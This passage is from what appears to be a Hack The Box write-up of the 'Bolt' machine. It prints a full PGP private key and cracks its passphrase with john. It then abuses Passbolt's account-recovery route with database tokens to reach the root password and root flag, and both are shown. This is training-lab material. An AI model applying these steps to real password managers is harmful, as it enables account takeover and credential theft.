https://openpgpjs.org\\r\\n\\r\\n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\\r\\n=FBUR\\r\\n-----END PGP PUBLIC KEY BLOCK-----\\r\\n\",\"keyId\":\"56a16c84\",\"userIds\":[{\"name\":\"Passbolt Server Key\",\"email\":\"[email protected]\"}],\"fingerprint\":\"59860a269e803fa094416753ab8e2efb56a16c84\",\"created\":\"Wed Feb 24 2021 12:15:49 GMT-0700 (Mountain Standard Time)\",\"expires\":\"Never\",\"algorithm\":\"rsa_encrypt_sign\",\"length\":3072,\"private\":false,\"user_id\":\"ba192ac8-99c0-3c89-a36f-a6094f5b9391\"},\"4e184ee6-e436-47fb-91c9-dccb57f250bc\":{\"key\":\"-----BEGIN PGP PUBLIC KEY BLOCK-----\\r\\nVersion: OpenPGP.js v4.10.9\\r\\nComment: https://openpgpjs.org\\r\\n\\r\\nxsBNBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi\\r\\nfjfUozTU9a0OLuiHUNeEjYIVdcaAR89lVBnYuoneAghZ7eaZuiLz+5gaYczk\\r\\ncpRETcVDVVMZrLlW4zhA9OXfQY/d4/OXaAjsU9w+8ne0A5I0aygN2OPnEKhU\\r\\nRNa6PCvADh22J5vD+/RjPrmpnHcUuj+/qtJrS6PyEhY6jgxmeijYZqGkGeWU\\r\\n+XkmuFNmq6km9pCw+MJGdq0b9yEKOig6/UhGWZCQ7RKU1jzCbFOvcD98YT9a\\r\\nIf70XnI0xNMS4iRVzd2D4zliQx9d6BqEqZDfZhYpWo3NbDqsyGGtbyJlABEB\\r\\nAAHNHkVkZGllIEpvaG5zb24gPGVkZGllQGJvbHQuaHRiPsLAjQQQAQgAIAUC\\r\\nYDgbYQYLCQcIAwIEFQgKAgQWAgEAAhkBAhsDAh4BACEJEBwnQaPcO0q9FiEE\\r\\n30Jrx6Sor1jlDtoOHCdBo9w7Sr35DQf9HZOFYE3yug2TuEJY7q9QfwNrWhfJ\\r\\nHmOwdM1kCKV5XnBic356DF/ViT3+pcWfIbWT8giYIZ/2qYfAd74S+gMKBim8\\r\\nwBAH0J7WcnUI+py/zXxapGxBF0ufJtqrHmPaKsNaQVCEV3dDzTqlVRi0vfOD\\r\\nCm6kt3E8f8GPYK9Mh21gPjnhoPE1s23NzmBUiDt6wjZ2dOQ2cVagVnf6PyHM\\r\\nWZLqUm8nQY342t3+AA6SFTw/YpwPPvjtZBBHf95BrSbpCE5Bjar9UyB+14x6\\r\\nOUcWhkJu7QgySrCwAg2aKIBzsfWovcVTe9Rkpq/ty1tYOklT9kn75D9ttDF4\\r\\nU8+Qz61kTICf987ATQRgOBthAQgAmlgcw3DqVzEBa5k9djPsUTJWOKVY5uox\\r\\noBp6X0H9njR9Ufb2XtmxZUUdV/uhtbnM0lSlNkeNNBX4c/Qny88vfkgb66xc\\r\\noOo4q+fNCEZfCmcS2AwMsUlzaPDQjowp4V+mWSc8JXq4GXOd/mrooibtiEdt\\r\\nvK4pzMdvwGCykFqugyRDLksc1hfDYU+s5R42TNiMdW7OwYAplnOjgExOH8f1\\r\\nlXVkqbsq5p54TbHe+0SdlfH5pJf4Gfwqj6dQlkSf3DMeEnByxEZX3imeKGrC\\r\\nUmwLN4NHMeUs5EXuLnufut9aTMhbw/tetTtUXTHFk/zc7EhZDR1d3mkDV83c\\r\\ntEUh6BuElwARAQABwsB2BBgBCAAJBQJgOBthAhsMACEJEBwnQaPcO0q9FiEE\\r\\n30Jrx6Sor1jlDtoOHCdBo9w7Sr3+HQf/Qhrj6znyGkLbj9uUv0S1Q5fFx78z\\r\\n5qEXRe4rvFC3APYE8T5/AzW7XWRJxRxzgDQB5yBRoGEuL49w4/UNwhGUklb8\\r\\nIOuffRTHMPZxs8qVToKoEL/CRpiFHgoqQ9dJPJx1u5vWAX0AdOMvcCcPfVjc\\r\\nPyHN73YWejb7Ji82CNtXZ1g9vO7D49rSgLoSNAKghJIkcG+GeAkhoCeU4BjC\\r\\n/NdSM65Kmps6XOpigRottd7WB+sXpd5wyb+UyptwBsF7AISYycPvStDDQESg\\r\\npmGRRi3bQP6jGo1uP/k9wye/WMD0DrQqxch4lqCDk1n7OFIYlCSBOHU0rE/1\\r\\ntD0sGGFpQMsI+Q==\\r\\n=+pbw\\r\\n-----END PGP PUBLIC KEY BLOCK-----\\r\\n\",\"keyId\":\"dc3b4abd\",\"userIds\":[{\"name\":\"Eddie Johnson\",\"email\":\"[email protected]\"}],\"fingerprint\":\"df426bc7a4a8af58e50eda0e1c2741a3dc3b4abd\",\"created\":\"Thu Feb 25 2021 14:49:21 GMT-0700 (Mountain Standard Time)\",\"expires\":\"Never\",\"algorithm\":\"rsa_encrypt_sign\",\"length\":2048,\"private\":false,\"user_id\":\"4e184ee6-e436-47fb-91c9-dccb57f250bc\"}}"} ... ``` We can get the PRIVATE key: ```console -----BEGIN PGP PRIVATE KEY BLOCK----- Version: OpenPGP.js v4.10.9 Comment: https://openpgpjs.org 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 PSwYYWlAywj5 =cqxZ -----END PGP PRIVATE KEY BLOCK----- ``` Let's crack the passphrase of this private key using ```john```: ```console ┌─[evyatar@parrot]─[/hackthebox/Bolt] └──╼ $ gpg2john key.key > keyhash File key.key ┌─[evyatar@parrot]─[/hackthebox/Bolt] └──╼ $ john --wordlist=~/Desktop/rockyou.txt keyhash Using default input encoding: UTF-8 Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64]) Cost 1 (s2k-count) is 16777216 for all loaded hashes Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status merrychristmas (Eddie Johnson) 1g 0:00:12:13 DONE (2021-10-03 00:19) 0.001364g/s 58.44p/s 58.44c/s 58.44C/s mhiedhie..memoteamo Use the "--show" option to display all of the cracked passwords reliably Session completed ``` So we found the passphrase is ```merrychristmas```. From here, We have two methods to get the root password. ***Method 1*** By enumerating on ```/etc/passbolt``` (as ```www-data```) we found few intresting files. The first file is ```/etc/passbolt/routes.php```: ```php ... /** * Setup routes */ Router::scope('/setup', function ($routes) { $routes->setExtensions(['json']); // new routes $routes->connect('/start/:userId/:tokenId', ['prefix' => 'Setup', 'controller' => 'SetupStart', 'action' => 'start']) ->setPass(['userId', 'tokenId']) ->setMethods(['GET']); $routes->connect('/complete/:userId', ['prefix' => 'Setup', 'controller' => 'SetupComplete', 'action' => 'complete']) ->setPass(['userId']) ->setMethods(['PUT', 'POST']); $routes->connect('/recover/start/:userId/:tokenId', ['prefix' => 'Setup', 'controller' => 'RecoverStart', 'action' => 'start']) ->setPass(['userId', 'tokenId']) ->setMethods(['GET']); $routes->connect('/recover/complete/:userId', ['prefix' => 'Setup', 'controller' => 'RecoverComplete', 'action' => 'complete']) ->setPass(['userId']) ->setMethods(['PUT', 'POST']); // Legacy v1 backward compatibility routes $routes->connect('/install/:userId/:tokenId', ['prefix' => 'Setup', 'controller' => 'SetupStart', 'action' => 'start']) ->setPass(['userId', 'tokenId']) ->setMethods(['GET']); $routes->connect('/recover/:userId/:tokenId', ['prefix' => 'Setup', 'controller' => 'RecoverStart', 'action' => 'start']) ->setPass(['userId', 'tokenId']) ->setMethods(['GET']); $routes->connect('/completeRecovery/:userId', ['prefix' => 'Setup', 'controller' => 'RecoverComplete', 'action' => 'complete']) ->setPass(['userId']) ->setMethods(['PUT', 'POST']); }); ... ``` The intresting part is: ```php $routes->connect('/recover/:userId/:tokenId', ['prefix' => 'Setup', 'controller' => 'RecoverStart', 'action' => 'start']) ->setPass(['userId', 'tokenId']) ->setMethods(['GET']); ``` When we are trying to recover account (from [https://passbolt.bolt.htb](https://passbolt.bolt.htb)): ![recover.JPG](images/recover.JPG) Clicking on next: ![recoveremail.JPG](images/recoveremail.JPG) We can navigate to the route [https://passbolt.bolt.htb/setup/recover/:userId/:tokenId](https://passbolt.bolt.htb/setup/recover/:userId/:tokenId). We can get the user id and token id from passbolt database (credentials from ```/etc/passbolt/passbolt.php``` file): ```console eddie@bolt:$ mysql -u passbolt -p${p} -e "use passboltdb; select * from users" mysql: [Warning] Using a password on the command line interface can be insecure. +--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+ | id | role_id | username | active | deleted | created | modified | +--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+ | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c | [email protected] | 1 | 0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 | | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 | [email protected] | 1 | 0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 | +--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+ eddie@bolt:/tmp$ mysql -u passbolt -p${p} -e "use passboltdb; select * from authentication_tokens;" mysql: [Warning] Using a password on the command line interface can be insecure. +--------------------------------------+--------------------------------------+--------------------------------------+--------+---------------------+---------------------+----------+------+ | id | token | user_id | active | created | modified | type | data | +--------------------------------------+--------------------------------------+--------------------------------------+--------+---------------------+---------------------+----------+------+ | 015b22eb-694f-4c94-a97d-0c87d69017ed | a7b19b6b-9f7f-482b-b677-b284ad5d6a29 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 0 | 2021-02-25 22:31:57 | 2021-02-25 22:31:58 | login | NULL | | 0e00a95e-5d29-4867-9ef7-0e87a0d13833 | 3ff489bb-6216-4642-bb4a-7b5a7600c8d3 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1 | 2021-10-02 20:27:47 | 2021-10-02 20:27:47 | recover | NULL | | 33bb7368-2f0e-4ef1-a35c-0793c8837b84 | 730635fd-c075-447b-91a6-56b25621b504 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1 | 2021-10-02 19:05:36 | 2021-10-02 19:05:36 | recover | NULL | | 415f74dd-7e94-4799-8ee5-2f88ec0d72c6 | f4509818-b9f7-41a0-9804-0e0e0362eff0 | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff91 | 1 | 2021-10-02 19:26:46 | 2021-10-02 19:26:46 | recover | NULL | | 463f2e84-1f36-4e2f-ac0d-0010b96edee3 | f861c953-aac8-4902-88da-5d17aca0ffde | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 0 | 2021-02-25 21:41:46 | 2021-02-25 21:41:47 | login | NULL | | 57bb11fb-01e5-413c-9442-1d9bc480dbfb | cb900e0b-c602-4da7-acb6-f1daec248836 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 0 | 2021-02-25 21:49:38 | 2021-02-25 21:49:39 | login | NULL | | 5bb9d763-c95c-4986-9119-542133e3279c | 5779bcad-2c17-487c-bf01-8168a3b20393 | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 0 | 2021-02-25 21:40:29 | 2021-02-25 21:41:14 | register | NULL | | a0c009af-df45-4587-b52c-c1c6e0873106 | bca78c99-4a08-488c-a308-2695c4643c36 | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff91 | 1 | 2021-10-02 19:22:14 | 2021-10-02 19:22:14 | recover | NULL | | ac1f4319-f9da-4cfd-95e4-ddc58b180694 | 25083f5f-fa10-4f78-9ac8-53246cc030c4 | 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 1 | 2021-10-02 19:07:05 | 2021-10-02 19:07:05 | recover | NULL | | b1f9eda8-986c-4cfd-9afd-d0f7d9734554 | d59321ea-ea62-4fc8-b990-0385f19f7238 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 0 | 2021-10-02 21:48:59 | 2021-10-02 21:48:59 | login | NULL | | c54ef2f0-0ebf-42fe-90a5-e08d97631bcd | c88de57f-e27a-469f-9d87-519db7c7a2d7 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 0 | 2021-10-02 21:47:52 | 2021-10-02 21:48:58 | recover | NULL | | e60cb0de-eaad-406a-aea3-a39c2abeee5a | 1e58d500-57ec-4d45-83ac-46186ff769e2 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1 | 2021-10-02 22:01:16 | 2021-10-02 22:01:16 | recover | NULL | | feb08771-2e55-43d8-92bc-d4a34d403273 | 8c7d2952-1598-420d-a666-fdece8f02bfc | 4e184ee6-e436-47fb-91c9-dccb57f250bc | 0 | 2021-02-25 21:42:50 | 2021-02-25 21:49:38 | register | NULL | +--------------------------------------+--------------------------------------+--------------------------------------+--------+---------------------+---------------------+----------+------+ ``` Let's get the token of ```[email protected]``` which is ```1e58d500-57ec-4d45-83ac-46186ff769e2```, The user id of ```[email protected]``` is ```4e184ee6-e436-47fb-91c9-dccb57f250bc```. Now let's build the URL: [https://passbolt.bolt.htb/setup/recover/4e184ee6-e436-47fb-91c9-dccb57f250bc/1e58d500-57ec-4d45-83ac-46186ff769e2](https://passbolt.bolt.htb/setup/recover/4e184ee6-e436-47fb-91c9-dccb57f250bc/1e58d500-57ec-4d45-83ac-46186ff769e2). By browsing to this URL we get: ![recoverprivate.JPG](images/recoverprivate.JPG) We can insert the PGP private key we just found before, Clicking on Next: ![recoverpasspharse.JPG](images/recoverpasspharse.JPG) Clicking on Verify and we get some security token: ![recoversecurity.JPG](images/recoversecurity.JPG) Clicking on Next and we get the passbolt portal: ![passboltportal.JPG](images/passboltportal.JPG) If we are clicking on the button to unhide the root password as asked again to enter the passphrase: ![passboltunhide.JPG](images/passboltunhide.JPG) Enter the passphrase and we get the root password: ![passboltroot.JPG](images/passboltroot.JPG) The root password is ```Z(2rmxsNW(Z?3=p/9s```, Let's use it: ```console eddie@bolt:~$ su root Password: root@bolt:/home/eddie# whoami && id && hostname root uid=0(root) gid=0(root) groups=0(root) bolt.htb root@bolt:/home/eddie# cat /root/root.txt 03cf0eb1cb9c267473f132c0a06f2ca2 ``` And we get the root flag ```03cf0eb1cb9c267473f132c0a06f2ca2```. ***Method 2*** Reading data from ```email_queue``` on ```passboltdb```: ```console eddie@bolt:~$ mysql -u passbolt -p${p} -e "use passboltdb; select * from email_queue" ... | 13 | [email protected] | NULL | NULL | Eddie edited the password passbolt.bolt.htb | default | LU/resource_update | default | | html | a:3:{s:4:"body";a:7:{s:4:"user";O:21:"App\Model\Entity\User":10:{s:11:" * _virtual";a:1:{i:0;s:14:"last_logged_in";}s:14:" * _accessible";a:6:{s:2:"id";b:0;s:8:"username";b:0;s:6:"active";b:0;s:7:"deleted";b:0;s:7:"role_id";b:0;s:7:"profile";b:0;}s:10:" * _fields";a:9:{s:2:"id";s:36:"4e184ee6-e436-47fb-91c9-dccb57f250bc";s:7:"role_id";s:36:"1cfcd300-0664-407e-85e6-c11664a7d86c";s:8:"username";s:14:"[email protected]";s:6:"active";b:1;s:7:"deleted";b:0;s:7:"created";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-02-25 21:42:50.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:8:"modified";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-02-25 21:55:06.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:4:"role";O:21:"App\Model\Entity\Role":10:{s:14:" * _accessible";a:2:{s:1:"*";b:1;s:2:"id";b:0;}s:10:" * _fields";a:5:{s:2:"id";s:36:"1cfcd300-0664-407e-85e6-c11664a7d86c";s:4:"name";s:4:"user";s:11:"description";s:14:"Logged in user";s:7:"created";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2012-07-04 13:39:25.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:8:"modified";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2012-07-04 13:39:25.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}}s:12:" * _original";a:0:{}s:10:" * _hidden";a:0:{}s:11:" * _virtual";a:0:{}s:9:" * _dirty";a:0:{}s:7:" * _new";b:0;s:10:" * _errors";a:0:{}s:11:" * _invalid";a:0:{}s:17:" * _registryAlias";s:5:"Roles";}s:7:"profile";O:24:"App\Model\Entity\Profile":10:{s:14:" * _accessible";a:4:{s:2:"id";b:0;s:7:"user_id";b:0;s:10:"first_name";b:0;s:9:"last_name";b:0;}s:10:" * _fields";a:7:{s:2:"id";s:36:"13d7b7c4-917e-48ee-9560-f022c89b2895";s:7:"user_id";s:36:"4e184ee6-e436-47fb-91c9-dccb57f250bc";s:10:"first_name";s:5:"Eddie";s:9:"last_name";s:7:"Johnson";s:7:"created";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-02-25 21:42:50.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:8:"modified";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-02-25 21:55:06.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:6:"avatar";O:23:"App\Model\Entity\Avatar":10:{s:11:" * _virtual";a:1:{i:0;s:3:"url";}s:14:" * _accessible";a:1:{s:1:"*";b:1;}s:10:" * _fields";a:5:{s:2:"id";s:36:"42c3796f-5561-47d9-9425-ce1e7d5d2005";s:4:"data";i:0;s:10:"profile_id";s:36:"13d7b7c4-917e-48ee-9560-f022c89b2895";s:7:"created";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-09-09 16:28:55.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}s:8:"modified";O:20:"Cake\I18n\FrozenTime":3:{s:4:"date";s:26:"2021-09-09 16:28:55.000000";s:13:"timezone_type";i:3;s:8:"timezone";s:3:"UTC";}}s:12:" * _original";a:0:{}s:10:" * _hidden";a:0:{}s:9:" * _dirty";a:0:{}s:7:" * _new";b:0;s:10:" * _errors";a:0:{}s:11:" * _invalid";a:0:{}s:17:" * _registryAlias";s:7:"Avatars";}}s:12:" 